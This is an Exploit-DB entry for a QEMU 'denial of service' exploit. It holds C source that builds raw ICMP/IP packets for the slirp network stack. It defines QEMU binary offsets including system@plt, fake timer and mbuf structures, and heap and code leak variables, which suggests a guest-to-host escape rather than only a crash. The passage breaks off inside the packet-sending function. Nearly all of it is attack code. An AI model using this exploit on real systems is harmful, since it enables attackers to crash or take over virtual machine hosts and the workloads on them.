Exploit-DB #47320
Description: QEMU - Denial of Service
Type: dos
Platform: linux
Date: 2019-08-20
Author: vishnudevtj

Exploit:
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <net/ethernet.h>
#include <arpa/inet.h>
#include <linux/icmp.h>
#include <linux/if_packet.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <time.h>


#define die(x) do {                             \
    perror(x);                                  \
    exit(EXIT_FAILURE);                         \
  }while(0);

// * * * * * * * * * * * * * * *  Constans * * * * * * * * * * * * * * * * * *

#define SRC_ADDR "10.0.2.15"
#define DST_ADDR "10.0.2.2"

#define INTERFACE "ens3"

#define ETH_HDRLEN 14         // Ethernet header length
#define IP4_HDRLEN 20         // IPv4 header length
#define ICMP_HDRLEN 8         // ICMP header length for echo request, excludes data
#define MIN_MTU 12000

// * * * * * * * * * * * * * * * QEMU Symbol offset * * * * * * * * * * * * * * * * * *

#define SYSTEM_PLT 0x029b290
#define QEMU_CLOCK 0x10e8200
#define QEMU_TIMER_NOTIFY_CB 0x2f4bff
#define MAIN_LOOP_TLG 0x10e81e0
#define CPU_UPDATE_STATE 0x488190

// Some place in bss which is not used to craft fake stucts
#define FAKE_STRUCT 0xf43360

// * * * * * * * * * * * * * * * QEMU Structs * * * * * * * * * * * * * * * * * *

struct mbuf {
	struct	mbuf *m_next;		/* Linked list of mbufs */
	struct	mbuf *m_prev;
	struct	mbuf *m_nextpkt;	/* Next packet in queue/record */
	struct	mbuf *m_prevpkt;	/* Flags aren't used in the output queue */
	int	m_flags;		/* Misc flags */

	int	m_size;			/* Size of mbuf, from m_dat or m_ext */
	struct	socket *m_so;

	char * m_data;			/* Current location of data */
	int	m_len;			/* Amount of data in this mbuf, from m_data */

	void *slirp;
	char resolution_requested;
	u_int64_t expiration_date;
	char   *m_ext;
	/* start of dynamic buffer area, must be last element */
	char  *  m_dat;
};


struct QEMUTimer {
    int64_t expire_time;        /* in nanoseconds */
    void *timer_list;
    void *cb;
    void *opaque;
    void *next;
    int scale;
};


struct QEMUTimerList {
    void * clock;
    char active_timers_lock[0x38];
    struct QEMUTimer *active_timers;
    struct QEMUTimerList *le_next;   /* next element */                      \
    struct QEMUTimerList **le_prev;  /* address of previous next element */  \
    void *notify_cb;
    void *notify_opaque;

    /* lightweight method to mark the end of timerlist's running */
    size_t timers_done_ev;
};



// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *

int raw_socket;
int recv_socket;
int spray_id;
int idx;
char mac[6];

void * code_leak;
void * heap_leak;

void *Malloc(size_t size) {
  void * ptr = calloc(size,1);
  if (!ptr) {
    die("malloc() failed to allocate");
  }
  return ptr;
}

unsigned short in_cksum(unsigned short *ptr,int nbytes) {

register long           sum;            /* assumes long == 32 bits */
    u_short oddbyte;
    register u_short answer; /* assumes u_short == 16 bits */

    /*
     * Our algorithm is simple, using a 32-bit accumulator (sum),
     * we add sequential 16-bit words to it, and at the end, fold back
     * all the carry bits from the top 16 bits into the lower 16 bits.
     */

    sum = 0;
    while (nbytes > 1) {
      sum += *ptr++;
      nbytes -= 2;
}

/* mop up an odd byte, if necessary */
if (nbytes == 1) {
oddbyte = 0;            /* make sure top half is zero */
*((u_char *) &oddbyte) = *(u_char *)ptr;   /* one byte only */
sum += oddbyte;
}

/*
 * Add back carry outs from top 16 bits to low 16 bits.
 */

sum  = (sum >> 16) + (sum & 0xffff);    /* add high-16 to low-16 */
sum += (sum >> 16);                     /* add carry */
answer = ~sum;          /* ones-complement, then truncate to 16 bits */
return(answer);
}

void hex_dump(char *desc, void *addr, int len) 
{
    int i;
    unsigned char buff[17];
    unsigned char *pc = (unsigned char*)addr;
    if (desc != NULL)
        printf ("%s:\n", desc);
    for (i = 0; i < len; i++) {
        if ((i % 16) == 0) {
            if (i != 0)
                printf("  %s\n", buff);
            printf("  %04x ", i);
        }
        printf(" %02x", pc[i]);
        if ((pc[i] < 0x20) || (pc[i] > 0x7e)) {
            buff[i % 16] = '.';
        } else {
            buff[i % 16] = pc[i];
        }
        buff[(i % 16) + 1] = '\0';
    }
    while ((i % 16) != 0) {
        printf("   ");
        i++;
    }
    printf("  %s\n", buff);
}

char * ethernet_header(char * eth_hdr){
  
    /* src MAC :  52:54:00:12:34:56 */
    memcpy(&eth_hdr[6],mac,6);

    // Next is ethernet type code (ETH_P_IP for IPv4).
    // http://www.iana.org/assignments/ethernet-numbers
    eth_hdr[12] = ETH_P_IP / 256;
    eth_hdr[13] = ETH_P_IP % 256;
    return eth_hdr;
}

void ip_header(struct  iphdr * ip ,u_int32_t src_addr,u_int32_t dst_addr,u_int16_t payload_len,
                         u_int8_t protocol,u_int16_t id,uint16_t frag_off){

  /* rfc791 */
  ip->ihl = IP4_HDRLEN / sizeof (uint32_t);
  ip->version = 4;
  ip->tos = 0x0;
  ip->tot_len = htons(IP4_HDRLEN + payload_len);
  ip->id = htons(id);
  ip->ttl = 64;
  ip->frag_off = htons(frag_off);
  ip->protocol = protocol;
  ip->saddr = src_addr;
  ip->daddr = dst_addr;
  ip->check = in_cksum((unsigned short *)ip,IP4_HDRLEN);
}

void icmp_header(struct icmphdr *icmp, char *data, size_t size) {

  /* rfc792 */
  icmp->type = ICMP_ECHO;
  icmp->code = 0;
  icmp->un.echo.id = htons(0);
  icmp->un.echo.sequence = htons(0);
  if (data) {
    char * payload = (char * )icmp+ ICMP_HDRLEN;
    memcpy(payload, data, size);
  }

  icmp->checksum = in_cksum((unsigned short *)icmp, ICMP_HDRLEN + size);

}

void send_pkt(char *frame, u_int32_t frame_len